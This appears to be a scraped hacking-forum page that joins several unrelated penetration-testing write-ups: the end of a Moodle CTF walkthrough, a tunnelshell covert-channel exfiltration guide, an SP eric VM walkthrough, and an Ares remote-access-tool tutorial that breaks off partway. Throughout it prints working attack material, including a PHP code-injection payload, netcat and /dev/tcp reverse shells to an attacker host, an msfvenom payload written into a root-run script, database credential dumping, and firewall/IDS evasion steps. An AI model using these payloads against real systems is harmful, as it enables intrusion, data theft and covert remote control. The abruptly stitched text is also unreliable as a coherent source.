We get inside the dashboard with the help of the above login credential. Now let’s try to exploit if you’re going to google for moodle exploit then it’s going to show you EVIL TEACHER attack which you can read from [To see content please register here] .
![[Image: 8.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-d4BfsXxEjYQ/XMCT4Ca7XhI/AAAAAAAAeHo/bn-vdXJcVgU2PM3yvH96pOpP8g7qpM9awCLcBGAs/s1600/8.png?w=687)
We now need to edit a new activity in order to exploit it, so explore settings > edit > add an activity or resource. Now you’re going to get a prompt to select an activity you want to add, I’ve chosen a quiz here.
![[Image: 9.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-4phSoPrrKTc/XMCT4DxMnXI/AAAAAAAAeHs/83mN_4X9LucNOMR3Cv7P5JsqQjAojlm5QCLcBGAs/s1600/9.png?w=687)
Then click on Ethical hacking quiz to add some question inside it.
![[Image: 10-.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/--slUQ8UronM/XMCTu_uK-hI/AAAAAAAAeGI/LctA-IXBGj8pKbzEh6UcUpY4-b8n8_mbwCLcBGAs/s1600/10-.png?w=687)
Click on Edit option for adding a question.
![[Image: 11.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-VbSmj6MXptI/XMCTuorocnI/AAAAAAAAeGA/vXgRUpfPHagOj56j_qUv3h2ohWkWh5XdwCLcBGAs/s1600/11.png?w=687)
Now click on Add > + a new question which will open a console to add quiz question.
![[Image: 12.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-50e26alfSyE/XMCTvgHSRwI/AAAAAAAAeGM/cG3QbLChMIocL8gcmT9OAI0o-R0ezyUFwCLcBGAs/s1600/12.png?w=687)
Choose “calculated” the question type to add.
![[Image: 13.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-AIJ2Svz6Beo/XMCTwJkQpTI/AAAAAAAAeGQ/XIamdVJc_IUsotr7R2T2HK4fHRW7u5hOwCLcBGAs/s1600/13.png?w=687)
Now, when you ask a question, you need to mention the answer in the given text area, but this is vulnerable to EVIL TEACHER attack. Now get the reverse shell we insert a formula in the filed text given to write the answer and then click on save the changes.
1?><?=log(1){a.`$_GET[0]`.({x})}?>
1
1?><?=log(1){a.`$_GET[0]`.({x})}?>
![[Image: 14.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-gXkdCzIpd7c/XMCTwH_tx9I/AAAAAAAAeGU/4-TRu9MTlTsxn1nNbeFaS40bXcc23MVoQCLcBGAs/s1600/14.png?w=687)
Start netcat in the local machine and then inject netcat reverse shell payload in the URL as shown in the image, click on next page:
nc -lvp 1234
&0(data;nc -e /bin/bash <attacker-IP> <listening port>)
1
2
nc -lvp 1234
&0(data;nc -e /bin/bash <attacker-IP> <listening port>)
![[Image: 15.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-PgISr3eEHQ8/XMCa3kBrjyI/AAAAAAAAeIM/-fTeahZYAEEWT8Vhcg4eZqZ40DFQ78QKwCLcBGAs/s1600/15.png?w=687)
Repeat the same to inject nc payload once again and execute the URL to get a netcat session.
&0(data;nc -e /bin/bash <attacker-IP> <listening port>)
1
&0(data;nc -e /bin/bash <attacker-IP> <listening port>)
You can see here that we pwned the target machine’s web shell, let’s explore more to get user.txt and root.txt. So, I check the directory list inside /moodle here that I found a config.php file.
![[Image: 17.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-Gy1WabZIILU/XMCTxC9Vp7I/AAAAAAAAeGg/Bp6zGpHWuMMJSi_-QtXbfdwjHvylmJFhwCLcBGAs/s1600/17.png?w=687)
I saw mysql login credential inside the config.php file as shown below.
![[Image: 21.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-lwNPXn8GWLQ/XMCTxykTBaI/AAAAAAAAeGo/27qky2N7ivAMclMJML9fs5wH_Vus52VoACLcBGAs/s1600/21.png?w=687)
Connect to MySQL to extract information from the database such as credentials for system login.
mysql -u root -p'Welkom1' moodle
show tables;
1
2
mysql -u root -p'Welkom1' moodle
show tables;
![[Image: 22.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-qwmiESkgbtM/XMCTyDqIFLI/AAAAAAAAeGs/Awk9PemOEjIoacKRkHVqsOZ3ir_YpqOwwCLcBGAs/s1600/22.png?w=687)
Here mdl_user table looks more interesting, let’s extract its column information in the hop to get some useful information.
show columns from mdl_user;
1
show columns from mdl_user;
WOW! WOW!! It includes the username and column of the password, let’s explore it.
![[Image: 23.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-lS-KcIcHirQ/XMCTyymB-NI/AAAAAAAAeGw/_SOP5wvxhxE7XTtj3zmivz05xYURKWdNACLcBGAs/s1600/23.png?w=687)
select user,password from mdl_user;
1
select user,password from mdl_user;
Here I found 4 users with the md5 hash value, let’s try cracking them.
![[Image: 24.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-eryiXnzrAuY/XMCTzskrJ9I/AAAAAAAAeG4/Rn6Amt_Od3klCzCMwDsWMl9KmFpPVq3qgCLcBGAs/s1600/24.png?w=687)
So, we got the password “expelled” by using the online md5 decryption tool.
![[Image: 25.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-GaVYTq6IfyA/XMCTzTq96WI/AAAAAAAAeG0/Hy1R0sSt4tk5ngvV8kbbZa6zpmPbJiQ5ACLcBGAs/s1600/25.png?w=687)
Now use the credentials above and switch user account to try to locate the user.txt file.
su Giovanni
password: expelled
ls
cat user.txt
1
2
3
4
su Giovanni
password: expelled
ls
cat user.txt
Yeah! Yeah. We got our 1st flag successfully, now let’s find out about root.txt, but as we know it needs an escalation of privilege.
![[Image: 26.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-jlf4enIZFlE/XMCTz3GAj7I/AAAAAAAAeG8/3C4iCxfnmJwEqXtYNHAvm2i1I5xmpRgMQCLcBGAs/s1600/26.png?w=687)
Privilege Escalation
So, while traversing, I found a backup_course.tar file inside /home/giovanni/work/tmp
![[Image: 26.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-jlf4enIZFlE/XMCTz3GAj7I/AAAAAAAAeG8/3C4iCxfnmJwEqXtYNHAvm2i1I5xmpRgMQCLcBGAs/s1600/26.png?w=687)
I found a backup _course.tar file inside /home/giovanni/work/tmp while traversing.
![[Image: 28.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-pLzq-0qyLN0/XMCT0c2eZiI/AAAAAAAAeHA/vyxjZHN2Z7Y44Woyxnozhxl0cVThw5cHQCLcBGAs/s1600/28.png?w=687)
Therefore, since the current directory has full permission, I try to link the root directory within the /tmp folder so that we can get backup of the root directory within the /tmp folder with the help of backup.sh.
ln -s /root tmp
1
ln -s /root tmp
![[Image: 29.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-BwwAxw_CwvU/XMCT0xKpsgI/AAAAAAAAeHI/v-Ab8GRN7cQGsg-TixbInabKthq9n3KjQCLcBGAs/s1600/29.png?w=687)
Fantastic!! I found /root directory within /tmp after 1-2 minutes, which means that without root access we can get the root.txt file as shown below.
cd /tmp
ls
cd /root
ls
cat root.txt
1
2
3
4
5
cd /tmp
ls
cd /root
ls
cat root.txt
Booom!! We found root.txt successfully!!!!!!!!!!!
|
|
|
|
| [Guide] How to Covert Channel: The Hidden Network |
|
Posted by: NINZA - 05-14-2020, 12:15 PM - Forum: Carders Home
- No Replies
|
 |
Generally, the hacker uses a hidden network to escape themselves from firewall and IDS such. In this post, you will learn how to steal information from the target machine through the undetectable network. Such type of network is known as a covert channel which seems as generic traffic to any network monitor device/application and network admin. It could be considered as steganography, but it is not exactly steganography. Two endpoint users can use the covert channel for undetectable communication from network admin.
The red teamers use covert channels for data exfiltration in red teaming operations through a legitimate network and the data exfiltration is a process of secretly sharing data between two endpoints.
Table of Content
What is Covert channel
Covert channel attack using tunnelshell- What is Tunnelshell
- Covert ICMP Channel
- Covert HTTP Channel
- Covert DNS Channel
What is the covert channel?
The word covert means “hidden or undetectable” and Channel is “communication mode”, hence a covert channel denotes an undetectable network of communication. This makes the transmission virtually undetectable by administrators or users through a secret channel. It’s very essential to know the difference between encrypted communication and covert communication. In covert communication, the data stream is garbled and lasting by an unauthorized party. However, encrypted communications do not hide the fact that there has been a communication by encrypted the data travelling between both endpoints.
Type of covert channel
Storage covert Channel: Communicate by modifying a “storage location”, that would allow the direct or indirect writing of a storage location by one process and the direct or indirect reading of it by another.
Timing Covert channels – Perform operations that affect the “real response time observed” by the receiver.
Note: The well – known Spectre and Meltdown use a system’s page cache as their covert channel for exfiltrating data.
The specter and Meltdown attacks work by tricking your computer into caching privileged memory and through miscalculated speculative execution, a lack of privilege checking in out-of-order execution, and the power of the page cache. Once privileged memory is accessed the processor caches the information and the processor is able to retrieve it from the cache, regardless of whether its privileged information or not.
Read the complete article from [To see content please register here] .
Covert Channel Attack Using Tunnelshell
It is possible to use almost any protocol to make a covert channel. The huge majority of covert channel research has based on layer 3 (Network) and layer 4 (Transport) protocols such as ICMP, IP and TCP. Layer 7 (Application) protocols such as HTTP and DNS are also frequently used. This mechanism for conveying the information without alerting network firewalls and IDSs and moreover undetectable by netstat.
What is tunnelshell?
Tunnelshell is a program written in C for Linux users that works with a client-server paradigm. The server opens a /bin/sh that clients can access through a virtual tunnel. It works over multiple protocols, including TCP, UDP, ICMP, and RawIP, will work. Moreover, packets can be fragmented to evade firewalls and IDS.
Let’s go with practical for more details.
Requirement- Server (Kali Linux)
- Client (Ubuntu18.04)
- Tool for Covert Channel (Tunnelshell) which you can download from
[To see content please register here] .
Here, I’m assuming we already have a victim’s machine session through the c2 server. Now we need to create a hidden communication channel for data exfiltration, therefore, install tunnelshell on both endpoints.
Once you download it, then extract the file and compile it as shown below:
tar xvfz tunnelshell_2.3.tgz
make
1
2
tar xvfz tunnelshell_2.3.tgz
make
![[Image: 2.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-7grENft-Sf0/XLyC_tQoA2I/AAAAAAAAeFE/_tKy7NqgOKsStGo1FIzoeYxzqkS0q8z6ACLcBGAs/s1600/2.png?w=687)
Similarly, repeat the same at the other endpoint (victim’s machine) and after completion, execute the following command in the terminal to open communication channel for the server (Attacker).
sudo ./tunneld
1
sudo ./tunneld
By default, it sends fragment packet, which reassembles at the destination to evade from firewall and IDS.
![[Image: 4.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-9BkBFqwUj9w/XLyC_7lOZiI/AAAAAAAAeFI/uThqO84pdf0IXltGFOklnMwPu70S5EVEgCLcBGAs/s1600/4.png?w=687)
Now to connect with tunnelshell we need to execute the following command on the server (Attacker’s machine) which will establish a covert channel for data exfiltration.
Syntax: ./tunnel -i <session id (0-65535)> -d <delay in sending packets> -s <packet size> -t <tunnel type> -o <protocol> -p <port> -m <ICMP query> -a <ppp interface> <Victim’s IP>
./tunnel -t frag 10.10.10.2
1
./tunnel -t frag 10.10.10.2
frag: It uses IPv4 fragmented packets to encapsulate data. When some routers and firewalls (like Cisco routers and default Linux installation) receives fragmented packets without headers for the fourth layer, they permit pass it even if they have a rule that denies it. As you can observe that it is successfully connected to 10.10.10.2 and we are to access the shell of the victim’s machine.
![[Image: 5.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-htTq5d1FvfE/XLyDAWKFjNI/AAAAAAAAeFM/eVuvQHrGwxccQoP1xompouzZeW8HlxWRACLcBGAs/s1600/5.png?w=687)
As I had said, if you will check the network statics using netstat then you will not observe any process ID for tunnelshell. From the given below image, you can observe that with the help of ps command I had checked in process for tunnelshell and then try to check its process id through netstat.
ps |grep .tunneld
netstat –ano
1
2
ps |grep .tunneld
netstat –ano
![[Image: 6.1.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-ue4ylrl4WMQ/XLyDAudZVHI/AAAAAAAAeFQ/CbY27MHFM3Emlt1LQe_GgZixMnNrfsAiwCLcBGAs/s1600/6.1.png?w=687)
Let’s take a look of network traffic generated between 10.10.10.1 (Attacker’s IP) and10. 10.10.2 (Victim’s IP) using Wireshark. The network flow looks generic between both endpoints, but if it monitors properly, then a network administrator could sniff the data packet. As you can observe that Wireshark has captured the covert traffic and sniff the data that was travelling between two endpoint devices.
![[Image: 6.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-EA9qHUfJJpI/XLyDBBGQ3fI/AAAAAAAAeFU/5gtKFT4gTpk27dCYPTF3N9Jnb7xOmL5XQCLcBGAs/s1600/6.png?w=687)
Covert ICMP Channel
As we know Ping is the use of ICMP communication that use icmp echo request and icmp echo reply query to establish a connection between two hosts, therefore, execute the below command:
sudo ./tunneld -t icmp -m echo-reply, echo
1
sudo ./tunneld -t icmp -m echo-reply, echo
![[Image: 7.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-q44FTY4Y8LE/XLyDBbFR2jI/AAAAAAAAeFc/2bDLOJ8NK08dqWe8tg74uZJm5-_C3lrBQCLcBGAs/s1600/7.png?w=687)
Now to connect with tunnelshell we need to execute the following command on the server (Attacker’s machine) which will establish a covert channel for data exfiltration.
./tunnel -t icmp -m echo-reply,echo 10.10.10.2
1
./tunnel -t icmp -m echo-reply,echo 10.10.10.2
As you can observe that it is successfully connected to 10.10.10.2 and the attacker is able to access the shell of the victim’s machine.
![[Image: 8.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-hoq0ybplQKE/XLyDBAjUhLI/AAAAAAAAeFY/1dxeb0DxPzQdYFqDN4bp6PqgHHFYYw8OwCLcBGAs/s1600/8.png?w=687)
Again, if you will capture the traffic through Wireshark then you will notice the ICMP echo request and reply packet is being travelled between both endpoints. And if you will try to analysis these packets then you will be able to see what kind of payload is travelling as ICMP data.
![[Image: 9.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-f7DWsSm_GZ8/XLyDB4ra8nI/AAAAAAAAeFg/zgIltYvaYYMVFcMILcwVhDJZIveUtJisQCLcBGAs/s1600/9.png?w=687)
Covert HTTP Channel
It establishes a virtual TCP connection without using three-way handshakes. It doesn’t bind any port, so you can use a port already use it by another process, therefore execute the below command:
sudo ./tunneld -t tcp -p 80,2000
1
sudo ./tunneld -t tcp -p 80,2000
![[Image: 10.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-8NbKx1k6Q7w/XLyC95LxDNI/AAAAAAAAeEw/MEEPmJRuq_UG_eoHMS0H7G2RM2aS-I8-gCLcBGAs/s1600/10.png?w=687)
Now to connect with tunnelshell we need to execute the following command on the server (Attacker’s machine) which will establish a covert channel for data exfiltration.
./tunnel -t tcp -p 80,2000 10.10.10.2
1
./tunnel -t tcp -p 80,2000 10.10.10.2
As you can observe that it is successfully connected to 10.10.10.2 and again attacker is able to access the shell of the victim’s machine.
![[Image: 11.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-qv2kDHWOBOk/XLyC9_7ivaI/AAAAAAAAeEs/ph3QdXd0el8baNJExKoxyL49xDtmLuz1wCLcBGAs/s1600/11.png?w=687)
on other side, if you consider the network traffic then you will notice a tcp communication establish without three-way-handshake between source and destination.
![[Image: 12.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-eNAd_FJoGyE/XLyC-MorgvI/AAAAAAAAeE0/PV0oy9XVAVEp6lEB6cdEQiffJ8CEW322ACLcBGAs/s1600/12.png?w=687)
Covert DNS Channel
To establish DNS covert channel, we need to run UDP tunnel mode on both endpoint machines. Therefore, execute the following command on the victim’s machine:
sudo ./tunneld -t udp -p 53,2000
1
sudo ./tunneld -t udp -p 53,2000
![[Image: 13.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-4ua_NQk6K54/XLyC-5OtGVI/AAAAAAAAeE4/cQDZ85UTo_Q7KPgZa0DgnU3kgtUJ-pQHwCLcBGAs/s1600/13.png?w=687)
Similarly, execute following on your (Attacker) machine to connect with a tunnel.
./tunnel -t udp -p 53,2000 10.10.10.2
1
./tunnel -t udp -p 53,2000 10.10.10.2
![[Image: 14.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-SSDMmnU1SG0/XLyC_POiwII/AAAAAAAAeE8/BidFUVXjm7cJGOoUloYr7VPYNrTDU6ctQCLcBGAs/s1600/14.png?w=687)
As you can observe here the DNS malformed packet contains the data travelling between both endpoint machine.
![[Image: 15.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-U8ewdFxbE0A/XLyC_ap2KcI/AAAAAAAAeFA/kQY8rSYCXHcFFwiQboH6JVSSCd5v8g8AgCLcBGAs/s1600/15.png?w=687)
Conclusion: Covert channel does not send encrypted data packet while data exfiltration, therefore, it can easily sniff, and network admin can easily conduct data loss and risk management.
Hello friends! Today we are going to take another CTF challenge known as “SP eric”. The credit for making this VM machine goes to “[To see content please register here] ”. Our goal is to get 2 flags to complete the challenge.
They are located at:
/root/flag.txt
/home/eric/flag.txt
You can download this VM [To see content please register here] .
Security Level: Beginner
Penetrating Methodology:- Network scanning (Nmap)
- Surfing HTTP service port
- Enumerating directories using Dirb
- Dumping git files using gitdumper
- Extracting git file using Extractor
- Enumerating for Login Credentials
- Uploading PHP reverse shell
- Getting user flag
- Editing the file with a php shell
- Getting the root flag
Walkthrough
We will start the cracking of this CTF with a port scan using nmap. Through the nmap scan, we get that we have the port 80 open. Also as we can see in the given image that we have also discovered the .git directory.
nmap -A 192.168.1.18
1
nmap -A 192.168.1.18
![[Image: 1.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-2wY5w_k7ia0/XLc1q05G-VI/AAAAAAAAeDY/_TcR7ttS4aUjmUugFbhqzJ9BP6-u4dpzACLcBGAs/s1600/1.png?w=687)
By convention, if we have the port 80, we try and open the IP Address in the Web Browser. In doing so we see a message of “Blog under construction”. This seems like a Dead End. Let’s try another approach.
![[Image: 2.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-tgjIjYZgbwQ/XLc1srEXkJI/AAAAAAAAeDs/zbQp0KcgJRAGeOVlgF4OIdvrpmCxJkK-ACLcBGAs/s1600/2.png?w=687)
We ran a directory bruteforce using the dirb tool. This revealed the admin.php, index.php and a directory named “upload”. We will try to discover all these to enumerate as much as we can.
dirb //192.168.1.18
1
dirb //192.168.1.18
![[Image: 3.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-c8l5Jmnp050/XLc1tCW0XrI/AAAAAAAAeD4/wDaZVnVDdQIdBcoEJ_-ORx1046Z9lqwYgCLcBGAs/s1600/3.png?w=687)
On opening the admin.php, we get a form with the Username and Password fields. Seeing a form, our basic instinct was the SQL Injections. We spent a little time on that, then we took the advice of author that there is no use of Bruteforcing. We will have to figure our some another way.
![[Image: 4.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-8Ocs8L9GGN4/XLc1tLVHeLI/AAAAAAAAeD0/uQZ22VWa3EkzS8W7d-xHXOm9HxWQZ-4fwCLcBGAs/s1600/4.png?w=687)
Now, back on the nmap scan, we did in the beginning. We found a Git repository. On browsing a few sites on Google, we found this epic tool called GitTools. We cloned this tool on our Desktop as shown in the given image. After that, we traversed in the GitTools Directory to using the cd command. Here, we found 3 tools: Dumper, Extractor, Finder. We will use this tool to enumerate this git.
git clone //github.com/internetwache/GitTools.git
cd GitTools/
ls
1
2
3
git clone //github.com/internetwache/GitTools.git
cd GitTools/
ls
![[Image: 5.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-FMENW2ciEPE/XLc1ta99fdI/AAAAAAAAeD8/92uH3jFjNx867ecosQeMbupKwTmV66KkgCLcBGAs/s1600/5.png?w=687)
First, we traversed into the Dumper directory to use the gitdumper tool. This tool will dump all the files on the git. We will have to give a destination directory to use it. This tool can be used as shown in the given image.
./gitdumper.sh [To see content please register here] dest-dir
1
./gitdumper.sh [To see content please register here] dest-dir
![[Image: 6.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-DwWEs5zxaCk/XLc1uLKlMLI/AAAAAAAAeEA/-bTR7p15xtUtfjXOgaOIELOnBfP8lpS1ACLcBGAs/s1600/6.png?w=687)
Now that we have successfully dumped the git files using the gitdumper tool. It’s time to use the Extractor tool. For this, we will have to traverse inside the Extractor directory within the GitTools. Now to use the extractor we will have to give the path of the destination directory in with we dumped the git files using the gitdumper.
![[Image: 7.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-Z-xTjJOhwyI/XLc1uEwHYwI/AAAAAAAAeEE/dM5uxZA78H4MH9n6RgEGRD4AdVWgK-XFQCLcBGAs/s1600/7.png?w=687)
./extractor.sh ../Dumper/dest-dir ./dest-dir
1
./extractor.sh ../Dumper/dest-dir ./dest-dir
The Extractor tool will create the directories based on the commits on the git that we dumped earlier which can be observed in the given image. Three directories were created in response to three commits on the git. We traversed in the directory named “0-3db5628b550f5c9c9f6f663cd158374035a6eaa0/” to find three file: admin.php, commit-meta.txt and index.php. We read the admin.php file using the cat command to find the username and password for the form we found earlier. We made a note of these credentials.
ls
cd 0-3db5628b550f5c9c9f6f663cd158374035a6eaa0/
ls
cat admin.php
1
2
3
4
ls
cd 0-3db5628b550f5c9c9f6f663cd158374035a6eaa0/
ls
cat admin.php
![[Image: 8.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-vHHSTYHyXog/XLc1udRmRbI/AAAAAAAAeEI/hoHOexgCP3gJcOxVwFOCUoL4neClBOI8QCLcBGAs/s1600/8.png?w=687)
We went back to the admin form we discovered earlier and entered the login credentials we found in the git. This was a successful login. Upon logging in we found more forms, titled: Add new post and Add site to blogroll. Here, we found an Upload option.
![[Image: 9.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-XLbRP6ATaXU/XLc1ukXnjXI/AAAAAAAAeEM/SSgIgoIcMm8IbRozwandtdPZqrvt2uT3ACLcBGAs/s1600/9.png?w=687)
So, we entered the necessary information in the various field on the page and selected a php reverse shell in the location of uploading the file. After all the entries filled, we clicked on the add button to upload the file with this entry.
![[Image: 10.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-7W9-tMdfqOU/XLc1qnGHPQI/AAAAAAAAeDU/_lqKkHgofREm5EGu-30KmR9qBuiYjJc6ACLcBGAs/s1600/10.png?w=687)
Even though the file was successfully uploaded, to get the session, we will have to execute the file on the target machine. Back to the nmap scan, we found a directory called “upload”. It’s time to get to that directory. We used the name of the php file we uploaded to execute the file on the target system as shown in the given image.
![[Image: 11.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-4zW05vhh0NM/XLc1qWxmfDI/AAAAAAAAeDQ/9ASYWwP7gO0Wl_nhhdlAHaAhx2noafvLACLcBGAs/s1600/11.png?w=687)
On the other side, in a new terminal, we created a netcat listener at the port that we mentioned the php reverse shell script. Upon Execution, we got the shell of the target system. To get a proper shell, we used the python one-liner. After getting the proper shell, we used the ls command to enumerate for the flag. We traversed in the eric directory. Here we found the 1st flag as shown in the given image. We also found a file named backup.sh. As we can see in the given image that the backup.sh file has all the permission required and it runs as root.
nc -lvp 1234
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /home
ls -al
cd eric
ls -al
cat flag.txt
1
2
3
4
5
6
7
nc -lvp 1234
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /home
ls -al
cd eric
ls -al
cat flag.txt
![[Image: 12.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-HnDTYG3V3Pw/XLc1rdqc7uI/AAAAAAAAeDc/3rY6zXzT8gIyrzugVz_lA8BuzfffBiX0ACLcBGAs/s1600/12.png?w=687)
So, we have to target the backup.sh file to get the root shell on the target machine. We created a msfvenom script to exploit the target machine. We used the reverse_bash payload to create this script.
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.4 lport=4455 R
1
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.4 lport=4455 R
![[Image: 13.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-DcC7znIode4/XLc1ri9gwFI/AAAAAAAAeDg/iuJfzXA_x5ADrgm3p7bmsxCZegAKBfgtgCLcBGAs/s1600/13.png?w=687)
We copied the script contents and then we moved the session we had on the target machine and here we edited the backup.sh file with our script using the echo command.
echo "0<&171-;exec 171<>/dev/tcp/192.168.1.4/4455;sh <&171 >&171 2>&171" > backup.sh
1
echo "0<&171-;exec 171<>/dev/tcp/192.168.1.4/4455;sh <&171 >&171 2>&171" > backup.sh
cat backup.sh
1
cat backup.sh
![[Image: 14.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-Z3fdApRmusA/XLc1rpz3GZI/AAAAAAAAeDk/EgPVPpXbfuMDayNJH5kqNZqlRBQ7z_EEQCLcBGAs/s1600/14.png?w=687)
On a new terminal, we started a netcat listener on the port that we mentioned while creating the script using msfvenom. When we ran the file backup.sh file, we have a root session. Being an improper shell, we improved it using the python one-liner. Here, we traversed in the root directory. We found the root flag here in this directory as shown in the given image.
nc -lvp 4455
id
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /root
ls
cat flag.txt
1
2
3
4
5
6
nc -lvp 4455
id
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /root
ls
cat flag.txt
![[Image: 15.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-4wyr2P0zu60/XLc1sBByHKI/AAAAAAAAeDo/kRF9qpYpaHA9SvlVY30ZJoroDGscq4CigCLcBGAs/s1600/15.png?w=687)
In this article, we will learn how to use Ares tool. This tool performs the Command and Control over the Web Interface. This tool can be found on [To see content please register here] .
Table of Content:- Introduction
- Installation
- Exploiting Target
- Command Execution
- Capturing Screenshot
- File Download
- Compressing Files
- Persistence Agent
- Clean Up
Introduction
Ares is a Python Remote Access Tool. Ares is made of two main programs: A Command & Control server, which is a Web interface to administer the agents and an agent program, which runs on the compromised host, and ensures communication with the CNC. The credit for creating this tool goes to [To see content please register here] .
For this particular demonstration,
Attacker: Kali Linux
Target: Windows 10
Installation
To begin first, we need the tool on our Attacker Machine. To do this, we will clone the tool directly from the GitHub. After Cloning, we traversed into the newly created directory called Ares through the cd command as shown in the image.
git clone [To see content please register here]
cd Ares
ls
1
2
3
git clone [To see content please register here]
cd Ares
ls
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-5an6TBpa-RU/XLVtLdK0xgI/AAAAAAAAeBs/RAK4HAVpeEcED8RySuXJS9Al_0bWp7s6ACLcBGAs/s1600/1.png?w=687&ssl=1)
Now, to make the tool work we will be needing to install some prerequisites. Let’s start from the file that we cloned earlier name requirements.txt. This file contains the details of the python libraries that are required to be installed.
pip install -r requirements.txt
1
pip install -r requirements.txt
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-d-AYV7MQ8wg/XLVtOKRO7OI/AAAAAAAAeCQ/FVkoLS7rtu82DDy2HYk94RSxFlBIw4bVgCLcBGAs/s1600/2.png?w=687&ssl=1)
Now as we have our target a Windows Machine, we will need to compile the agent that is compatible with the Windows Machine. To do that we will be needing wine. So, using the file that we cloned earlier, let’s begin the wine installation. Now this will take a bit of time.
ls
./wine_setup.sh
1
2
ls
./wine_setup.sh
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-vOQne719po0/XLVtOlJtKMI/AAAAAAAAeCU/xfLV3i2vAKkogcqYkNLcEKBO_4bDBjD6wCLcBGAs/s1600/3.png?w=687&ssl=1)
Exploiting Target
Now that we have successfully installed all the requirements needed to run the Ares tool. Its time to gain the Command and Control Session. To do this we are going to need an agent. For this, we use the cd command to traverse into the agent directory. After that, we list the contents of the file to find a config file. We will be needing to edit the file so as to gain the session.
cd agent/
ls
nano config.py
1
2
3
cd agent/
ls
nano config.py
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-lY8SU78lwoE/XLVtPZX73JI/AAAAAAAAeCY/2bg7S5teFAYMYoafqgLGPINe7GFu9rvawCLcBGAs/s1600/4.png?w=687&ssl=1)
As we can see, when we open the config file using the nano command. We see that the SERVER variable has an IP Address. We are going to edit it and change it to the internal IP address of the attacker machine, which in my case is 192.168.1.4. We don’t require any further changes. So Save and Exit the nano editor.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-jMAA1RhEPVg/XLVtPzJQAvI/AAAAAAAAeCc/LxaBu0sW7WAwtgmx8vBJ4OAUyS9U2U27ACLcBGAs/s1600/5.png?w=687&ssl=1)
Now that we have configured the config file, Its time to create an agent. As we have a Windows Machine as a target. We will be creating a windows agent using the command given below.
./builder.py -p Windows –server [To see content please register here] -o agent.exe
1
./builder.py -p Windows –server [To see content please register here] -o agent.exe
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-YuTHjMT7csE/XLVtP6Vo2PI/AAAAAAAAeCg/fzqldREJ7qw91h290OHv34L24lGAfYt4gCLcBGAs/s1600/6.png?w=687&ssl=1)
Now, we will send this agent to the target machine by any means of preference. After that, we will be needing to launch the server. This is required as the agent will communicate to this server. Let’s get back to the Ares directory. Here we have a sub-directory called server. After traversing in it we will have to initiate the database for that we will be using the initdb parameter. Initiating the database is to be done only the first time. Now we will run the server as shown in the given image.
ls
cd server/
./ares.py initdb
./ares.py runserver -h 0.0.0.0 -p 8080 --threaded
1
2
3
4
ls
cd server/
./ares.py initdb
./ares.py runserver -h 0.0.0.0 -p 8080 --threaded
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-QnutBZQ_Q04/XLVtQHqB4WI/AAAAAAAAeCk/Rc1uIcbbm1AWqh2lLxAlczsDdhtGM2jgACLcBGAs/s1600/7.png?w=687&ssl=1)
Now we will open the server IP in our browser. Here we will see a form asking for the password as shown in the given image. We entered the password and clicked on Define to continue.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-N_VGvQvrD8M/XLVtQmqRwjI/AAAAAAAAeCo/JUeRkH_CgJga6shScepakeTKxLGdirx5QCLcBGAs/s1600/8.png?w=687&ssl=1)
Now that the password is defined, we will have to enter the password to log in.
